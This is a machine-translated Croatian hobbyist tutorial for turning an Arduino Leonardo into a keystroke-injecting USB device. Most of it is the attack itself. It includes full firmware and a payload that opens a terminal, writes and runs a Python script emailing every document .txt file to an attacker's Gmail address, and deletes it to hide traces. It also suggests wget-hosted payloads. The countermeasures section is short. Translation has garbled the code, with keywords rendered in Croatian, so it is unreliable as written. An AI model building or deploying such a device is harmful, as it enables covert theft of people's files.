Sadržaj:
2025 Autor: John Day | [email protected]. Zadnja promjena: 2025-01-23 14:47
U ovom projektu koristit ćemo arduino leonardo za simulaciju mogućeg USB napada pomoću HID -a (humain interface device).
Ovaj vodič nisam stvorio kako bih pomogao hakerima već da vam pokažem neke stvarne opasnosti i kako se zaštititi od tih opasnosti. Ovaj uređaj nije uređaj koji se može koristiti na bilo kojoj platformi za hakere, već je detaljniji dokaz koncepta.
Naučit ćemo sljedeće:
- kako koristiti arduino leonardo za oponašanje tipkovnice
- kako čitati podatke sa SD kartica
- kako stvoriti python skriptu koja skenira datoteke i šalje im e -poštu
- kako zaštititi sebe od USB hakerskih uređaja
Korak 1: Materijali
Dijelovi:
1. Arduino leonardo
2. čitač mikro USB kartica
3. nekoliko GB SD kartica
4. tipka poput ove (VCC, uzemljenje i signal)
5. ženski-muški i žensko-ženski prespojni kabeli
6. mikro USB na USB kabel
Korak 2: Izgradnja uređaja
Prije uputa za izgradnju pregledajmo princip rada:
Arduino leonardo može se ponašati kao uređaj ljudskog sučelja (HID) pa stoga može oponašati miš i tipkovnicu. Ovu ćemo značajku koristiti za otvaranje terminala (u UBUNTU linux) i pisanje male skripte koja će pristupati mapi /Dokumenti unutar korisničke mape, kopirati.txt datoteke tamo i poslati ih nekome e -poštom. Ako želite saznati više detalja, provjerite sljedeći korak.
Budući da se radi o demo uređaju, stvari su doista jednostavne, nećemo ništa lemiti.
Upute za izgradnju
Prije nego što počnemo provjeriti priložene datoteke, priložio sam sheme frcanja i sve potrebne datoteke
1. Sastavite komponente:
* priključite mikro USB kabel u arduino
* spojite ključni prekidač na arduino (uzemljenje, vcc i izlazni modul na D8)
* spojite čitač kartica na arduino (pomoću ICSP zaglavlja). Arduino leonardo nema ICSP zaglavlje spojeno na digitalne pinove pa ćete morati spojiti čitač kartica na ICSP zaglavlje. Neke crteže ICSP-a možete pronaći ovdje: https://learn.sparkfun.com/tutorials/installing-an…. Spojite SS pin na digitalni pin 10
2. nabavite arduino kôd, možete klonirati moje arduino spremište na githubu: https://github.com/danionescu0/arduino i otići na projects/keyboard_exploit ili ga preuzeti odozdo:
#include "Tipkovnica.h"
#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Spavanje::"; String commandStartingPoint = "Naredba::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kartica nije uspjela ili nije prisutna!"); povratak; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Učitano!"); kašnjenje (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Navedeni naziv datoteke nije prisutan na SD kartici, provjerite naziv datotekeOnCard!"); } Linija niza; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (linija); sendToKeyboard (linija); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (linija); povratak; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Tekst:"); Serial.println (redak); Tipkovnica.println (linija); pritisni enter(); povratak; } Serial.println ("Naredba:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); Naredba niza = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (naredba! = "") {Serial.print ("Naredba pronađena:"); Serial.println (naredba); Keyboard.press (getCommandCode (naredba)); kašnjenje (delayBetweenCommands); }} Keyboard.releaseAll (); kašnjenje (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Spavanje za:"); Serial.println (sleepAmount); kašnjenje (sleepAmount); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; kod = (tekst == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kod; kod = (tekst == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kod; kod = (tekst == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kod; code = (text == "KEY_UP_ARROW")? KEY_UP_ARROW: kod; kod = (tekst == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kod; kod = (tekst == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kod; kod = (tekst == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kod; code = (text == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kod; code = (text == "KEY_BACKSPACE")? KEY_BACKSPACE: kod; code = (text == "KEY_TAB")? KEY_TAB: code; code = (text == "KEY_RETURN")? KEY_RETURN: kod; code = (text == "KEY_ESC")? KEY_ESC: kod; code = (text == "KEY_INSERT")? KEY_INSERT: kod; code = (text == "KEY_DELETE")? KEY_DELETE: kod; code = (text == "KEY_PAGE_UP")? KEY_PAGE_UP: kod; kod = (tekst == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kod; code = (text == "KEY_HOME")? KEY_HOME: kod; code = (text == "KEY_END")? KEY_END: kod; code = (text == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kod; code = (text == "KEY_F1")? KEY_F1: kod; code = (text == "KEY_F2")? KEY_F2: kod; code = (text == "KEY_F3")? KEY_F3: kod; code = (text == "KEY_F4")? KEY_F4: kod; code = (text == "KEY_F5")? KEY_F5: kod; code = (text == "KEY_F6")? KEY_F6: kod; code = (text == "KEY_F7")? KEY_F7: kod; code = (text == "KEY_F8")? KEY_F8: kod; code = (text == "KEY_F9")? KEY_F9: kod; code = (text == "KEY_F10")? KEY_F10: kod; code = (text == "KEY_F11")? KEY_F1: kod; code = (text == "KEY_F12")? KEY_F2: kod;
povratni kod;
}
3. Prenesite kôd na arduino, svakako odaberite brzinu prijenosa od 9600, serijski port i arduino leonardo
4. Formatirajte sd karticu pomoću FAT16 ili FAT32
5. Ako ste klonirali github repo odozgo, kopirajte datoteku hack.txt na karticu, ako datoteka nije navedena u nastavku:
Naredba:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Naredba:: KEY_INSERT uvozi smtplib import glob, os iz os.path import expanduser iz e -pošte. MIMEText uvoz MIMEText iz e -pošte. Utils uvozi COMMASPACE, formatdate iz koda za uvoz e -pošte
smtp_user = 'adresa_pošiljatelja_gmail'
smtp_pass = 'sender_gmail_password' to_address = 'adresa_primatelja' scan_documents_location = 'Dokumenti'
subject = body = 'Datoteke s hakiranog računala'
header = 'Prima: {0} nOd: {1} nPredmet: {2} n'.format (to_address, smtp_user, subject)
def sendMail (to, subject, text, files = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = tema msg.attach (MIMEText (tekst)) za datoteku u datotekama: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (datoteka)) msg.attach (dio)
poslužitelj = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))
Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4
6. Uredite sljedeće retke:
smtp_user = 'pošiljatelj_email_addr'
smtp_pass = 'lozinka_pošiljatelja' do_address = 'adresa_prijemnika'
I zamijenite ih svojim adresama e -pošte
7. Izvadite karticu i umetnite je u čitač arduino kartica
Korak 3: Kako to radi u pojedinostima
Kako će napad djelovati:
1. Kad je gumb pritisnut, leonardo će čitati SD karticu pomoću čitača SD kartica. Posebna datoteka koja sadrži ključeve i kombinaciju tipki bit će prisutna na kartici. Naziv datoteke je "hack.txt".
Datoteka može sadržavati neobrađeni tekst i proslijedit će se na tipkovnicu.
Također može sadržavati posebne naredbe poput "Sleep::" i "Command::".
Linija poput:
Spavanje:: 200 znači spavanje od 200 ms
Linija poput:
Naredba:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t znači pritisnut lijevi ctrl, lijevi alt pritisnut, t pritisnut i sve otpušteno
Sve posebne ključeve možete provjeriti ovdje:
2. Leonardo će čitati redak po redak, tumačiti naredbe i oponašati tipke na tipkovnici. Datoteka "hack.txt" sadrži kombinaciju ključeva koja čini sljedeće (za UBUNTU linux):
a. otvara terminal (CTRL + ALT + T)
b. otvara python datoteku za stvaranje pomoću vi (piše "vi hack.py"
c. piše Python skriptu koja prikuplja sve tekstualne datoteke unutar matične mape dokumenata i šalje ih na određenu gmail adresu
d. pokreće datoteku u pozadini ("nohup python hack.py &")
e. briše datoteku (rm -rf hack.py)
f. zatvara terminal (ALT + F4)
Cijela ova stvar traje nekoliko sekundi i ne ostavlja tragove.
Poboljšanja i rješavanje problema
* Možda ste primijetili da nakon otvaranja terminala pišem python datoteku. bolji način za to bit će da ga negdje ugostite i preuzmete pomoću naredbe "wget some_url", a zatim ga preimenujete u hack.py
* Također možemo preuzeti ili pokrenuti gotov exploit za ciljani operativni sustav
* wifi se može dodati u modul, a hakovi se mogu učitati putem WIFI -ja
* možete koristiti arduino micro (koji je mnogo manji) i u njega ugraditi exploit kod (kako bi bio manji)
Ograničenja
1. Budući da simulirani uređaj (tipkovnica i miš) nema povratnih informacija, ne znamo što će se dogoditi nakon izdavanja naredbe što znači da moramo koristiti kašnjenja. Na primjer, izdajem naredbu za otvaranje terminala, ali ne znam kada će biti otvoren, pa moram navesti proizvoljno kašnjenje kako se znakovi nakon upisa ne bi izgubili.
2. Možemo naići na probleme s dopuštenjem, poput nedostatka pristupa USB priključku ili dopuštenja za instaliranje nečega
3. Brzina pisanja nije tako velika na leonardu
4. Radit će samo na ciljanom operativnom sustavu (u našem slučaju UBUNTU linux)
U sljedećem koraku pokušat ćemo pronaći načine kako iskoristiti ta ograničenja kako bismo spriječili hakiranje našeg računala
Korak 4: Protumjere
1. Onemogućavanje USB priključaka
-za Windows možete provjeriti ovaj vodič:
2. USB uređaji s bijele liste:
- za Windows:
2. Zaključajte računalo kad niste tu
3. Nemojte se prijavljivati kao root (zahtijevaju lozinke za instaliranje bilo čega)
4. Ažurirajte sebe (uključena automatska ažuriranja)
Preporučeni:
HID kontroler tipkovnice za budući ton projekta Diva Aracade: 5 koraka
HID tipkovnički kontroler za Project Diva Aracade Budući ton: V-USB je USB knjižnica niske brzine za AVR mikrokontrolere. Omogućuje nam stvaranje HID uređaja (tipkovnica, miš, gamepad itd.) Pomoću AVR mikro kontrolera. Implementacija HID tipkovnice temelji se na HID 1.11. Podržava najviše 6 pritisaka tipki
Dvostruki 7 -segmentni zasloni kontrolirani potenciometrom u CircuitPythonu - Demonstracija postojanosti vida: 9 koraka (sa slikama)
Dvostruki 7-segmentni zasloni kontrolirani potenciometrom u CircuitPythonu-demonstracija postojanosti vida: Ovaj projekt koristi potenciometar za upravljanje prikazom na nekoliko 7-segmentnih LED zaslona (F5161AH). Kako se gumb potenciometra okreće, prikazani broj mijenja se u rasponu od 0 do 99. U jednom trenutku svijetli samo jedna LED, vrlo kratko, ali
Arduino mjerač atmosferske vrpce/ MS5611 GY63 GY86 Demonstracija: 4 koraka (sa slikama)
Arduino mjerač atmosferske vrpce/ MS5611 GY63 GY86 Demonstracija: Ovo je doista barometar/ visinomjer, no razlog za naslov vidjet ćete gledajući video. Senzor tlaka MS5611, koji se nalazi na pločama Arduino GY63 i GY86, pruža nevjerojatne performanse . U mirnom danu izmjerit će vam se
Sučelje tipkovnice s 8051 i prikazom brojeva tipkovnice u 7 segmenata: 4 koraka (sa slikama)
Sučelje tipkovnice s 8051 i prikazom brojeva tipkovnice u 7 segmenta: U ovom vodiču ću vam reći o tome kako možemo spojiti tipkovnicu s 8051 i prikazati brojeve tipkovnice na 7 segmentnom zaslonu
Čišćenje Apple aluminijske tipkovnice . ili bilo koje druge tipkovnice s mekim dodirom: 5 koraka
Čišćenje Apple aluminijske tipkovnice … ili bilo koje druge tipkovnice s mekim dodirom: Koliko god ja ili vi pokušali zadržati naše aluminijske tipkovnice od jabuke, one postaju prljave nakon otprilike godinu dana. Ova uputa će vam pomoći da je očistite. Budite oprezni, jer ja nisam odgovoran ako vam se tipkovnica pokvari dok ovo radite … SISA F